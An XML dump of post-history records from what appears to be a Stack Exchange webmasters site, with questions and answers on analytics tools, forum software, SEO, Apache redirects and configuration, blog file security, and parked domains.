  <row Id="21527" PostHistoryTypeId="2" PostId="9706" RevisionGUID="40734e4f-37d1-4415-8ca6-f12efa5c672b" CreationDate="2009-10-29T16:06:15.823" UserDisplayName="Yishai" Text="[Omniture][1] does it all, most likely way beyond what you were thinking of spending, I'm sure. It is also hard (read expensive) to implement. [Lyris][2] should get that done for you and is much more affordable, and easier to implement. They are both good. I found Lyris to be a good value for the money, if you don't have a lot of users reviewing the reports.&#xD;&#xA;&#xD;&#xA;Of course, once you are paying, you will want to think more broadly about what features you want overall to make the right investment. There are plenty of for-pay companies in this space.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.omniture.com/en/&#xD;&#xA;  [2]: http://www.lyris.com/solutions/lyris-hq/web-analytics/" />
  <row Id="21528" PostHistoryTypeId="2" PostId="9707" RevisionGUID="36846d45-c5a6-491a-a603-1a22e8600c9d" CreationDate="2009-12-07T15:12:58.417" UserDisplayName="user20486" Text="While you can't do it per visitor, you can at least get the daily results per referring domain, and you can also track outbound links for these visitors as well as internal links:&#xD;&#xA;&#xD;&#xA;Create an Advanced Segment for each referring domain:  Use &quot;Source&quot; &quot;Contains&quot; and in &quot;Value&quot; put in the domain of the referring source.  You can share this Advanced Segment across profiles.&#xD;&#xA;&#xD;&#xA;To track outbound links:  Create a filter that tracks outbound links: https://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;answer=72712&#xD;&#xA;" />
  <row Id="21529" PostHistoryTypeId="2" PostId="9708" RevisionGUID="8ba69d6d-a349-41e1-b162-d9826f5b1a70" CreationDate="2011-02-25T16:43:04.450" UserDisplayName="topCweb" Text="Omniture's SiteCatalyst offers good segmentation features and their Discover product extends this functionality to your desktop to allow users to segmentation a breeze with instant response.  &#xD;&#xA;It sounds like you are looking for free solutions; Google has since added a lot of functionality for segmentation and continues to improve this.  Avinash wrote an in depth article helping break down segmentation http://www.kaushik.net/avinash/2010/05/web-analytics-segments-three-category-recommendations.html&#xD;&#xA;&#xD;&#xA;For $54 per year you can check out extremetracking.com/?pro but I have never used this service.&#xD;&#xA;&#xD;&#xA;I also wrote an overview of GA, SiteCatalyst comparison that may be helpful:&#xD;&#xA;http://topcweb.com/article/analytics-solutions-omniture-vs-google" />
  <row Id="21530" PostHistoryTypeId="2" PostId="9705" RevisionGUID="00ca990b-0eb0-425d-9b1b-b62ecea4390e" CreationDate="2009-10-29T15:57:12.007" UserId="43" Text="Are there good tools that can track what actions a certain subset of visitors (i.e. from a particular source) do once they're on your site?  As far as I know (which could be wrong), Google Analytics can't do this beyond telling you how long they stayed, bounce rate, and average number of pages.  I'm looking for something that can tell me which links they clicked on, and if possible break it down per-visitor.  Free solutions would be great, but I'm anticipating that this would require a paid solution." />
  <row Id="21531" PostHistoryTypeId="1" PostId="9705" RevisionGUID="00ca990b-0eb0-425d-9b1b-b62ecea4390e" CreationDate="2009-10-29T15:57:12.007" UserId="43" Text="Good analytics tools that can track visitor actions from a particular source?" />
  <row Id="21532" PostHistoryTypeId="3" PostId="9705" RevisionGUID="00ca990b-0eb0-425d-9b1b-b62ecea4390e" CreationDate="2009-10-29T15:57:12.007" UserId="43" Text="&lt;tracking&gt;" />
  <row Id="21533" PostHistoryTypeId="17" PostId="9705" RevisionGUID="b6d90155-006e-4c46-8acc-b1b8c55d1379" CreationDate="2011-02-25T17:21:36.820" UserId="-1" Comment="from http://superuser.com/questions/62630/good-analytics-tools-that-can-track-visitor-actions-from-a-particular-source" Text="" />
  <row Id="21534" PostHistoryTypeId="25" PostId="9690" RevisionGUID="c888b0e0-6b80-4ee7-87e2-dda1405d34c3" CreationDate="2011-02-25T17:22:53.310" Comment="http://twitter.com/#!/StackWebmasters/status/41186381539721216" />
  <row Id="21535" PostHistoryTypeId="2" PostId="9709" RevisionGUID="d0cc470c-15f1-421e-a41b-8cd68c813521" CreationDate="2011-02-25T17:27:10.467" UserId="1953" Text="I do believe &quot;noindex, follow&quot; is the most common solution to this. I have seen instances where another page ranks for an obscure word that is only used in anchor text on a page that is not indexed through this method, although it's hard to test just how much value is getting passed it appears to be more then if you used disallow. &#xD;&#xA;&#xD;&#xA;I'd ask how well your site is being indexed now? if most of your pages including these are being indexed then, and these are direct sales pages, then instead of removing them try and rank them. On the other hand if most of your site is not getting indexed and you think these pages are using up crawl bandwidth and keeping your money pages from being indexed then get rid of them." />
  <row Id="21536" PostHistoryTypeId="2" PostId="9710" RevisionGUID="3a3ba8ce-bedf-4773-aa1e-aa8f00482e53" CreationDate="2011-02-25T17:35:09.773" UserId="1953" Text="This wouldn't cause a penalty per se but it could cause the wrong URL to be indexed and ranking (as you've noticed is already happening). If you are the one managing the server you should at the very least 301 redirect all that traffic to your domain. If you're on a shared host of don't have access to the server/.htaccess ask your host to fix it for you, if they won't (I'd consider switching to a better host) the rel canonical would help." />
  <row Id="21537" PostHistoryTypeId="5" PostId="9612" RevisionGUID="3efd522f-ab14-4720-b5d5-450e92a4f310" CreationDate="2011-02-25T17:35:44.383" UserId="5648" Comment="revised contenders list" Text="What are the best (and most widely used) Linux-based **message board** softwares, and the ***pros*** and ***cons*** of each. e.g. Security Vulnerabilities, Performance on a cheap server, comes pre-packaged [RPM or DEB].&#xD;&#xA;&#xD;&#xA;I am looking for *the best* message board software for my website. A VPS can run almost any software, so the sky is the limit!&#xD;&#xA;&#xD;&#xA; 1. *Free, doesn't require unreasonable number of hyperlinks to their website*&#xD;&#xA; 2. Security focused / Widely Used, vulnerabilities are found and fixed quick&#xD;&#xA; 3. Easy to keep up-to-date, i.e. prepackaged / auto-update in some way&#xD;&#xA; 4. Moderator features [like pinning / message preamble], account management&#xD;&#xA; 5. Themeable, customize appearance a bit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The contenders appear to be&#xD;&#xA;&#xD;&#xA; - **phpBB** - Undeniably popular, modular.&#xD;&#xA; - **MyBB** - Used to be commercial, great features. LGPL&#xD;&#xA;" />
  <row Id="21538" PostHistoryTypeId="6" PostId="9612" RevisionGUID="3efd522f-ab14-4720-b5d5-450e92a4f310" CreationDate="2011-02-25T17:35:44.383" UserId="5648" Comment="revised contenders list" Text="&lt;forum&gt;&lt;linux&gt;&lt;web-applications&gt;&lt;software&gt;" />
  <row Id="21539" PostHistoryTypeId="2" PostId="9711" RevisionGUID="d9e30cdc-7ac8-4d29-ae71-765ee6d2c4c9" CreationDate="2011-02-25T17:39:50.267" UserId="1953" Text="GSiteCrawler is my go to tool for this. You can schedule crawls and have it automatically upload the new files.&#xD;&#xA;&#xD;&#xA;And it can generate a host of other useful reports." />
  <row Id="21541" PostHistoryTypeId="2" PostId="9712" RevisionGUID="1ab9c808-4c6d-438c-a7f4-d0b916adfe91" CreationDate="2011-02-25T17:47:54.327" UserId="1953" Text="Unless you ended on really bad terms or had something in your contract that stated your designer would own the domain, he'll probably transfer it to without issue. I'd recommend checking your .co.uk domain to make sure you own it now before the next site goes up. &#xD;&#xA;&#xD;&#xA;As Stephbu mentioned legally you would have to prove that he registered it on your behalf and you are the rightful owner." />
  <row Id="21542" PostHistoryTypeId="2" PostId="9713" RevisionGUID="351810f2-55da-4d46-b0b5-949971cfd516" CreationDate="2011-02-25T17:53:42.667" UserId="1953" Text="I'm not sure about drupal specific plugins, but I think most sites keep users inactive until they click the confirmation link if asked (otherwise why send a confirmation). Alternatively I've seen several sites with an expiration on their confirmation - IE &#xD;&#xA;&#xD;&#xA;&quot;you're seeing this because you signed up on example site, please confirm by clicking the link below, if this is a mistake then do nothing and the account will be closed in 24hours&quot;" />
  <row Id="21543" PostHistoryTypeId="2" PostId="9714" RevisionGUID="cc671389-9ff6-4e89-9bfd-c7ddc46af6d8" CreationDate="2011-02-25T17:58:36.297" UserId="1953" Text="I've seen this in apache when Vhosts are not configured properly, I'd suggest talking to your host as they will probably have to do the work on the server (unless you manage your own servers). &#xD;&#xA;&#xD;&#xA;If you can't get it resolved through your host you should be able to create a 301 redirect using an .htaccess file (it's better to fix the server configuration though if you can)." />
  <row Id="21544" PostHistoryTypeId="2" PostId="9715" RevisionGUID="3731b94b-6e70-4399-bfcc-929f33777269" CreationDate="2011-02-25T18:07:08.233" UserId="1953" Text="If you use a popular opensource software to power your forum try switching the URL for the registration page most people use defaults for their sites so most spambots look for defaults IE if you installed your site and it uses site.com/register as the registration page change it to site.com/why-not-create-an-account most bots will look for domain/register and if it's not there move on to another site. Additionally you can create levels IE you must make 10 posts before you can post a link." />
  <row Id="21545" PostHistoryTypeId="2" PostId="9716" RevisionGUID="23a92227-12d5-40a9-ae5d-9ea8c637d50b" CreationDate="2011-02-25T18:34:03.167" UserId="3948" Text="We are using an installation of the (commercial) forum software from [Woltlab][1]. &#xD;&#xA;&#xD;&#xA;We have chosen Woltlab because it provided the best end-user experience in our evaluation. It has a WYSIWYG editor for postings.&#xD;&#xA;&#xD;&#xA;While the end user GUI is rather high-quality, I discovered that customizing the forum software was rather ugly; I ended up doing a mix of manual file modifications and changing administration settings in the GUI.&#xD;&#xA;&#xD;&#xA;So from an end-user perspective I would still recommend Woltlab; for customizing it, I would not recommend it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.woltlab.com/" />
  <row Id="21546" PostHistoryTypeId="4" PostId="9619" RevisionGUID="7ba91bff-2693-4301-b273-31763ad96c66" CreationDate="2011-02-25T18:36:52.063" UserId="164" Comment="Improvements in the description of the question." Text="Good php+mysql system for managing library of books (book catalogue/database software)" />
  <row Id="21547" PostHistoryTypeId="5" PostId="9619" RevisionGUID="7ba91bff-2693-4301-b273-31763ad96c66" CreationDate="2011-02-25T18:36:52.063" UserId="164" Comment="Improvements in the description of the question." Text="Anyone know a good web based system to manage libraries (of books)?&#xD;&#xA;&#xD;&#xA;I prefer systems based on PHP and MySQL, because in general they are easier to install and administer, but others are also welcome." />
  <row Id="21548" PostHistoryTypeId="5" PostId="9619" RevisionGUID="07ae4543-38b0-45c8-aaef-fc7bead909d1" CreationDate="2011-02-25T18:43:40.940" UserId="164" Comment="Improved description." Text="Anyone know a good web based system to manage libraries (of books)?&#xD;&#xA;&#xD;&#xA;It's like a book catalogue/database software, but with web interface, because I want people to be able do searches / queries in the web system.&#xD;&#xA;&#xD;&#xA;I prefer systems based on PHP and MySQL, because in general they are easier to install and administer, but others are also welcome." />
  <row Id="21555" PostHistoryTypeId="5" PostId="9572" RevisionGUID="1d61387c-b878-484f-8174-d8958fbdffff" CreationDate="2011-02-25T19:16:31.220" UserId="5209" Comment="fixed grammar" Text="When I search for *Ride On* + my site's name, I see that it's indexed.&#xD;&#xA;But when I search for *Green Horse* + my site's name, I don't see my site appearing in the results anywhere!&#xD;&#xA;&#xD;&#xA;Here's my code:&#xD;&#xA;&#xD;&#xA;    &lt;td&gt;&lt;a href=&quot;#&quot; title=&quot;Green Horse Ride&quot;&gt;Ride On&lt;/a&gt;&lt;/td&gt;&#xD;&#xA;&#xD;&#xA;Does this mean that `title` attributes are not indexed/shown by Google at all? What is better to use, `alt`? What are the other alternatives except `title` and `alt`?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21556" PostHistoryTypeId="4" PostId="9572" RevisionGUID="1d61387c-b878-484f-8174-d8958fbdffff" CreationDate="2011-02-25T19:16:31.220" UserId="5209" Comment="fixed grammar" Text="Why won't title attributes get indexed in Google?" />
  <row Id="21557" PostHistoryTypeId="24" PostId="9572" RevisionGUID="1d61387c-b878-484f-8174-d8958fbdffff" CreationDate="2011-02-25T19:16:31.220" Comment="Proposed by 5209 approved by 1253 edit id of 37" />
  <row Id="21559" PostHistoryTypeId="2" PostId="9718" RevisionGUID="408c0d4e-ae55-4cc2-9607-e64bc29edb61" CreationDate="2011-02-25T20:53:37.783" UserId="5663" Text="I've been trying to find specific information on the problem, but it all seems rather confusing or irrelevant.&#xD;&#xA;&#xD;&#xA;I have an Apache install with several subfolders with different websites. I need requests for foo.com to redirect to .../htdocs/foo. &#xD;&#xA;&#xD;&#xA;I'm trying to avoid the web address appearing in the browser as foo.com/foo, instead appearing as foo.com.&#xD;&#xA;&#xD;&#xA;Is this possible?" />
  <row Id="21560" PostHistoryTypeId="1" PostId="9718" RevisionGUID="408c0d4e-ae55-4cc2-9607-e64bc29edb61" CreationDate="2011-02-25T20:53:37.783" UserId="5663" Text="htaccess rewrite - Associating subfolders of web root as index of domain" />
  <row Id="21561" PostHistoryTypeId="3" PostId="9718" RevisionGUID="408c0d4e-ae55-4cc2-9607-e64bc29edb61" CreationDate="2011-02-25T20:53:37.783" UserId="5663" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="21562" PostHistoryTypeId="2" PostId="9719" RevisionGUID="eb2904e5-4f71-486f-a829-d2808fdcde7b" CreationDate="2011-02-25T21:39:11.240" UserId="3265" Text="Has anyone used the blog engine SimplePHPBlog? It is a simple blog engine that uses only text files (no database).&#xD;&#xA;&#xD;&#xA;My problem with it is that the content directory where the texts files are stored appears to require being world writeable/readable (i.e. permission 777) for it to work. This means anyone can access the text files with a browser! These text files include the blog/comment poster's IP and email address!&#xD;&#xA;&#xD;&#xA;This is not secure or good practice, right?" />
  <row Id="21563" PostHistoryTypeId="1" PostId="9719" RevisionGUID="eb2904e5-4f71-486f-a829-d2808fdcde7b" CreationDate="2011-02-25T21:39:11.240" UserId="3265" Text="Is SimplePHPBlog a secure blogging engine?" />
  <row Id="21564" PostHistoryTypeId="3" PostId="9719" RevisionGUID="eb2904e5-4f71-486f-a829-d2808fdcde7b" CreationDate="2011-02-25T21:39:11.240" UserId="3265" Text="&lt;blog&gt;" />
  <row Id="21565" PostHistoryTypeId="2" PostId="9720" RevisionGUID="82031e0a-ed29-4019-96d3-97d6a87d49b1" CreationDate="2011-02-25T21:45:32.373" UserId="1253" Text="Are those files in the web root? Or below it? If they are below it you're fine. If not you can always block those files from being viewed in a browser using .htaccess. Just place the .htaccess file in that directory with code similar to this:&#xD;&#xA;&#xD;&#xA;    &lt;Files *.db&gt;&#xD;&#xA;    Order Deny,Allow&#xD;&#xA;    Deny from All&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;&#xD;&#xA;Change `.db` to be whatever file extension those files are using. Then whenever someone tries to access them via a browser they will get a 403 forbidden error." />
  <row Id="21566" PostHistoryTypeId="6" PostId="9719" RevisionGUID="d5c5902e-c1fb-4b19-91cf-0db3f707d21f" CreationDate="2011-02-25T21:47:22.263" UserId="1253" Comment="added &quot;security, simple-php-blog&quot; tags" Text="&lt;security&gt;&lt;blog&gt;&lt;simple-php-blog&gt;" />
  <row Id="21567" PostHistoryTypeId="12" PostId="9619" RevisionGUID="260a05b2-c664-4c6e-827f-d3cc5c0441e2" CreationDate="2011-02-25T22:21:02.083" UserId="164" Text="[{&quot;Id&quot;:164,&quot;DisplayName&quot;:&quot;Paulocoghi&quot;}]" />
  <row Id="21568" PostHistoryTypeId="13" PostId="9619" RevisionGUID="9cd52091-51ed-428a-a49e-85869d19eef8" CreationDate="2011-02-25T22:21:07.233" UserId="164" Text="[{&quot;Id&quot;:164,&quot;DisplayName&quot;:&quot;Paulocoghi&quot;}]" />
  <row Id="21569" PostHistoryTypeId="2" PostId="9721" RevisionGUID="5f619038-7c8c-4df9-b693-15ddadb87d39" CreationDate="2011-02-25T22:22:04.330" UserId="3265" Text="I can't think of anything simpler or more customizable than WordPress. Did you know you can add a gallery to a blog post just with a [gallery] shortcode? If you haven't already, read the WordPress page on [Photoblogs and Galleries][1] and check out a few of the plugins listed there. Also look at the [list of WP plugins tagged with &quot;gallery&quot;][2].&#xD;&#xA;&#xD;&#xA;Apologies if you have already looked into WordPress this far. I was just looking for a photoblog earlier last year and found WordPress + a gallery plugin a very easy/customizable solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Photoblogs_and_Galleries&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/tags/gallery" />
  <row Id="21570" PostHistoryTypeId="5" PostId="9686" RevisionGUID="aa572bea-acda-443a-ad0e-9a2e06d0d640" CreationDate="2011-02-25T22:29:23.807" UserId="5568" Comment="added 116 characters in body" Text="Most of the sitemap generators I've found all scan my internal files and base it on that. However using apache and htaccess I have many aliases for things for example:&#xD;&#xA;&#xD;&#xA;`/brand/model/photos/` is empty directory wise, but on the web it relocates it to a zenphoto gallery using htaccess.&#xD;&#xA;&#xD;&#xA;http://www.xml-sitemaps.com/ does What I need, but I'd like to have more control over it and I need it to be dynamic and run weekly or daily. Allow for specific change frequencies based on the file/directory. I also want to be able to make a &quot;pretty&quot; sitemap html file.&#xD;&#xA;&#xD;&#xA;Counting the photo gallery I have around 300 links, without the photo gallery more like 100.&#xD;&#xA;&#xD;&#xA;I have MySQL, PHP 5.3 installed.&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;I am using Debian Linux, so I'll need a crawler that can be run with cron or automated through linux." />
  <row Id="21571" PostHistoryTypeId="25" PostId="9719" RevisionGUID="c5511186-69cd-48a5-9e9b-a02ce4cfff57" CreationDate="2011-02-25T23:22:53.740" Comment="http://twitter.com/#!/StackWebmasters/status/41276981144338432" />
  <row Id="21572" PostHistoryTypeId="2" PostId="9722" RevisionGUID="f2a6da84-3397-4f72-9a1c-21e8c7e2357e" CreationDate="2011-02-25T23:41:42.950" UserId="1757" Text="TYPO3 has a [library plugin][1] which may be what you're looking for.&#xD;&#xA;&#xD;&#xA;I think I came across some other web platforms aimed at actual libraries, but those may not be suited to your needs. However, I'll add them later if I can find them again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://typo3.org/documentation/document-library/extension-manuals/sf_books/current/" />
  <row Id="21573" PostHistoryTypeId="2" PostId="9723" RevisionGUID="c16c872e-dfe7-4850-a7e2-2711b3177ea9" CreationDate="2011-02-26T00:07:30.420" UserId="3471" Text="Just wanted to point out that BitNami now offers a cloud hosting option with on-click deployment, automated backups, ssh access, etc. http://bitnami.org/cloud" />
  <row Id="21577" PostHistoryTypeId="25" PostId="9685" RevisionGUID="63cb85d2-b8dc-45be-a565-b8be66878b34" CreationDate="2011-02-26T02:22:54.950" Comment="http://twitter.com/#!/StackWebmasters/status/41322283897335808" />
  <row Id="21587" PostHistoryTypeId="17" PostId="9727" RevisionGUID="e04550a8-3f96-48b2-be2c-bc0a7d5730e7" CreationDate="2011-02-26T05:15:37.470" UserId="-1" Comment="from http://stackoverflow.com/questions/5125156/how-to-publish-web-service-net-to-host-free/5125170#5125170" Text="" />
  <row Id="21588" PostHistoryTypeId="17" PostId="9728" RevisionGUID="a7958f58-c04c-4fef-b9ee-92b4a0011d13" CreationDate="2011-02-26T05:15:37.470" UserId="-1" Comment="from http://stackoverflow.com/questions/5125156/how-to-publish-web-service-net-to-host-free/5125180#5125180" Text="" />
  <row Id="21589" PostHistoryTypeId="17" PostId="9729" RevisionGUID="89c9ce8d-dc09-4845-acc4-5e1659306389" CreationDate="2011-02-26T05:15:37.470" UserId="-1" Comment="from http://stackoverflow.com/questions/5125156/how-to-publish-web-service-net-to-host-free/5125188#5125188" Text="" />
  <row Id="21590" PostHistoryTypeId="2" PostId="9727" RevisionGUID="ee3149d1-6e67-4f0d-b4d7-b2e24c7fd75a" CreationDate="2011-02-26T05:01:14.410" UserDisplayName="StackOverflowException" Text="If it's for internal testing you could find a server with IIS configured to publish your service. I don't think there are any service providers that would host your service for free." />
  <row Id="21591" PostHistoryTypeId="2" PostId="9728" RevisionGUID="a48bc7a3-ff5b-442e-8e72-67f460b58d07" CreationDate="2011-02-26T05:03:29.107" UserId="5056" Text="I don't know how good it is as you get what you pay for, but take a look at this:&#xD;&#xA;&#xD;&#xA;http://www.asphost4free.com/" />
  <row Id="21592" PostHistoryTypeId="2" PostId="9729" RevisionGUID="6f6c89de-58b1-4129-bbd8-fa7a41738eac" CreationDate="2011-02-26T05:05:14.067" UserDisplayName="Brandon Ellis" Text="What did you build it with?  Visual studio?  If so you can use the server that comes with Visual Studio as a testing and debugging environment...otherwise you need to find a place to host and that isnt free." />
  <row Id="21593" PostHistoryTypeId="2" PostId="9726" RevisionGUID="1770edcd-9a48-4a59-9e91-27ecaf818199" CreationDate="2011-02-26T04:55:32.220" UserDisplayName="hieubk" Text="How can I publish my Web service?  I have created a Web service using ASP.NET 2.0, and I want to try to publish it for free." />
  <row Id="21594" PostHistoryTypeId="1" PostId="9726" RevisionGUID="1770edcd-9a48-4a59-9e91-27ecaf818199" CreationDate="2011-02-26T04:55:32.220" UserDisplayName="hieubk" Text="How to publish Web service .NET to host free" />
  <row Id="21595" PostHistoryTypeId="3" PostId="9726" RevisionGUID="1770edcd-9a48-4a59-9e91-27ecaf818199" CreationDate="2011-02-26T04:55:32.220" UserDisplayName="hieubk" Text="&lt;asp.net&gt;" />
  <row Id="21596" PostHistoryTypeId="17" PostId="9726" RevisionGUID="a3be1c42-80d1-40c8-9978-d46e006e0f79" CreationDate="2011-02-26T05:15:37.470" UserId="-1" Comment="from http://stackoverflow.com/questions/5125156/how-to-publish-web-service-net-to-host-free" Text="" />
  <row Id="21598" PostHistoryTypeId="2" PostId="9730" RevisionGUID="19a16e0f-a906-4008-a4f5-2b16ecbc9d4d" CreationDate="2011-02-26T06:24:56.023" UserId="5670" Text="I have a client who insists of having multiple website domains all being redirected to one main website domain. It is getting out of hand and his server has become conveluted and riddled with garbage because of it, not to mention confusing at times.&#xD;&#xA;&#xD;&#xA;Each of these domains that he is setting up has no content, they simply redirect the user to the main website domain.&#xD;&#xA;&#xD;&#xA;Is this practice of having multiple domains pointing to one main website common? And does anyone know where I can get information to give to this client to let him know this is a bad practice if it is a bad practice?" />
  <row Id="21599" PostHistoryTypeId="1" PostId="9730" RevisionGUID="19a16e0f-a906-4008-a4f5-2b16ecbc9d4d" CreationDate="2011-02-26T06:24:56.023" UserId="5670" Text="Multiple sites redirected to one main site" />
  <row Id="21600" PostHistoryTypeId="3" PostId="9730" RevisionGUID="19a16e0f-a906-4008-a4f5-2b16ecbc9d4d" CreationDate="2011-02-26T06:24:56.023" UserId="5670" Text="&lt;domains&gt;&lt;redirects&gt;&lt;multiple-domains&gt;" />
  <row Id="21601" PostHistoryTypeId="25" PostId="9730" RevisionGUID="b72f7513-9f06-4f95-bddc-f503fc84eb26" CreationDate="2011-02-26T08:22:57.687" Comment="http://twitter.com/#!/StackWebmasters/status/41412893270347776" />
  <row Id="21602" PostHistoryTypeId="2" PostId="9731" RevisionGUID="c4814755-079e-4d7b-be7b-fa9b8e644231" CreationDate="2011-02-26T09:55:41.173" UserId="1893" Text="An example of this could be shown on every .tk domain that doesn't exist, &lt;br&gt;&#xD;&#xA;just write www.givemeacookie.tk or something, you get into a fake search engine/index &lt;br&gt;&#xD;&#xA;&#xD;&#xA;Now these things are all over, I use to always ignore it because it was obvious just a fake template, but it's everywhere.&#xD;&#xA;&#xD;&#xA;I was wondering, where is it originated (here it's searchmagnified, but in their website it's also something generic) ? Is there a proper name for these type of websites?" />
  <row Id="21603" PostHistoryTypeId="1" PostId="9731" RevisionGUID="c4814755-079e-4d7b-be7b-fa9b8e644231" CreationDate="2011-02-26T09:55:41.173" UserId="1893" Text="Why do none-working websites look like search indexes?" />
  <row Id="21604" PostHistoryTypeId="3" PostId="9731" RevisionGUID="c4814755-079e-4d7b-be7b-fa9b8e644231" CreationDate="2011-02-26T09:55:41.173" UserId="1893" Text="&lt;websites&gt;" />
  <row Id="21605" PostHistoryTypeId="2" PostId="9732" RevisionGUID="479e60e9-4be6-4b87-8a4a-91752642a0e4" CreationDate="2011-02-26T10:38:07.847" UserId="4929" Text="I have some clients that have multiple domains for the sake of protecting the brand name, and in these cases I always redirect the domains to the &quot;main&quot; one via CNAME records, you just have the limitation of redirecting the www. subdomain, you can't redirect the root domain.com with a CNAME." />
  <row Id="21606" PostHistoryTypeId="2" PostId="9733" RevisionGUID="ebf8c0bb-f487-46ec-ab74-7bc1a9a3c20c" CreationDate="2011-02-26T10:46:15.853" UserId="4502" Text="That's a &quot;parked&quot; domain. Look in the footer. Ostensibly, this is a service the host is offering to domain owners who haven't actually built out a site yet. In truth, they're really squatting on the domain, they'll probably never do anything with it and this is just a money grab.&#xD;&#xA;&#xD;&#xA;Hover over any of those links. It's all advertising and affiliate links. If somebody happens to click one of them, they make a little money. Multiply by them probably owning hundreds or thousands, and it adds up." />
  <row Id="21607" PostHistoryTypeId="2" PostId="9734" RevisionGUID="44219c4a-f374-48bf-a5ca-31e5d507e82f" CreationDate="2011-02-26T10:52:29.900" UserId="5157" Text="This is done in the httpd.conf file not with .htaccess, here are some examples: http://httpd.apache.org/docs/2.2/vhosts/examples.html" />
  <row Id="21608" PostHistoryTypeId="2" PostId="9735" RevisionGUID="9b559ac0-a91f-4d6a-b428-7d30dea9ff37" CreationDate="2011-02-26T11:02:03.340" UserId="5671" Text="SE sites allow tags chaining like this:&#xD;&#xA;&#xD;&#xA;    /questions/tagged/seo+google+search-engines+research+keywords&#xD;&#xA;&#xD;&#xA;This site has more than 700 tags. If up to 5 tags can be chained, there are&#xD;&#xA;&#xD;&#xA;    700*700*700*700*700 = 168070000000000&#xD;&#xA;&#xD;&#xA;links that google can crawl. Can it be harmful?" />
  <row Id="21609" PostHistoryTypeId="1" PostId="9735" RevisionGUID="9b559ac0-a91f-4d6a-b428-7d30dea9ff37" CreationDate="2011-02-26T11:02:03.340" UserId="5671" Text="Can internal linking create excessive web server load?" />
  <row Id="21610" PostHistoryTypeId="3" PostId="9735" RevisionGUID="9b559ac0-a91f-4d6a-b428-7d30dea9ff37" CreationDate="2011-02-26T11:02:03.340" UserId="5671" Text="&lt;crawling&gt;&lt;load&gt;" />
  <row Id="21611" PostHistoryTypeId="25" PostId="9731" RevisionGUID="a1f00254-cb8e-4e25-8544-4f20c3ea469f" CreationDate="2011-02-26T11:22:57.803" Comment="http://twitter.com/#!/StackWebmasters/status/41458191594307584" />
  <row Id="21612" PostHistoryTypeId="2" PostId="9736" RevisionGUID="592b5cb0-4a63-40f5-b3b4-4f74b4459198" CreationDate="2011-02-26T12:08:12.650" UserId="5013" Text="My thought is that if Google sees a tag with the url: twicks-website.com/posts-with-awesome-tag&#xD;&#xA;&#xD;&#xA;it will visit that url only once when it is indexing, if it sees it multiple times on the site, there's no need to visit it again in that indexing session. It WILL visit and index each of the 700 tags, but there's no reason it should visit a tag more than once... it would overload your server and cost Google more money." />
  <row Id="21613" PostHistoryTypeId="2" PostId="9737" RevisionGUID="8f5a22a0-d1ac-4bff-9ae5-291e7536c01c" CreationDate="2011-02-26T13:21:20.340" UserId="1064" Text="&gt; Can internal linking create excessive&#xD;&#xA;&gt; web server load?&#xD;&#xA;&#xD;&#xA;Not unless your server is already struggling - Googlebot (unlike many poorly-conceived spiders and some recursive downloading agents) throttles requests and even allows webmasters to specify how often Googlebot should visit pages via [Google Webmaster Tools][1] (if your server is already struggling).&#xD;&#xA;&#xD;&#xA;&gt; Can it be harmful?&#xD;&#xA;&#xD;&#xA;Yes, because there are plenty of poorly-conceived spiders and recursive downloading agents out there which can bring your server to its knees if you've created interlinked quagmires (particularly so if these are resource-intensive dynamically-generated pages).&#xD;&#xA;&#xD;&#xA;I am having a hard time seeing how your site's users benefit from this feature if there are hundreds of tags.&#xD;&#xA;&#xD;&#xA;Wouldn't a site search feature be better-suited to users' needs? &#xD;&#xA;&#xD;&#xA;Why is there a need to map up to five categories' union to a unique URI?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=48620" />
  <row Id="21614" PostHistoryTypeId="2" PostId="9738" RevisionGUID="aaaf82b7-0ba3-4c03-b761-773b7caf7f97" CreationDate="2011-02-26T13:34:41.170" UserId="1064" Text="The top-level domains for many countries are essentially up for grabs - the highest bidder can lobby a country's government to acquire &quot;[parking][1] rights&quot; for all the domains which have yet to be registered.&#xD;&#xA;&#xD;&#xA;The [.cm TLD][2] is probably the best example of this dubious practice, though you may want to check to ensure that the page which is being served up is not [coming from your ISP][3] or possibly even [adware][4] installed on your web browser, as non-existent domains appear to be the target of many opportunists.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Domain_parking&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/.cm&#xD;&#xA;  [3]: http://www.feross.org/shame-on-you-comcast/&#xD;&#xA;  [4]: http://www.google.com/search?q=adware+&quot;404+error&quot;" />
  <row Id="21615" PostHistoryTypeId="2" PostId="9739" RevisionGUID="54a00fdb-226f-45b0-a98e-97d373b5588c" CreationDate="2011-02-26T14:11:11.560" UserId="2650" Text="&#xD;&#xA;My site uses URL rewriting in both formats (for different things), but I'm wondering which one is the better approach?&#xD;&#xA;&#xD;&#xA; 1. http://www.example.com/695/title-goes-here&#xD;&#xA; 2. http://www.example.com/title-goes-here/695.html" />
  <row Id="21616" PostHistoryTypeId="1" PostId="9739" RevisionGUID="54a00fdb-226f-45b0-a98e-97d373b5588c" CreationDate="2011-02-26T14:11:11.560" UserId="2650" Text="Which URL format is better? domain.com/[id]/title OR domain.com/title/[id].html" />
  <row Id="21617" PostHistoryTypeId="3" PostId="9739" RevisionGUID="54a00fdb-226f-45b0-a98e-97d373b5588c" CreationDate="2011-02-26T14:11:11.560" UserId="2650" Text="&lt;seo&gt;&lt;url-rewriting&gt;" />
  <row Id="21618" PostHistoryTypeId="25" PostId="9735" RevisionGUID="7eddb39a-ab00-4ee1-9807-55423500d3cf" CreationDate="2011-02-26T14:22:58.457" Comment="http://twitter.com/#!/StackWebmasters/status/41503492937883648" />
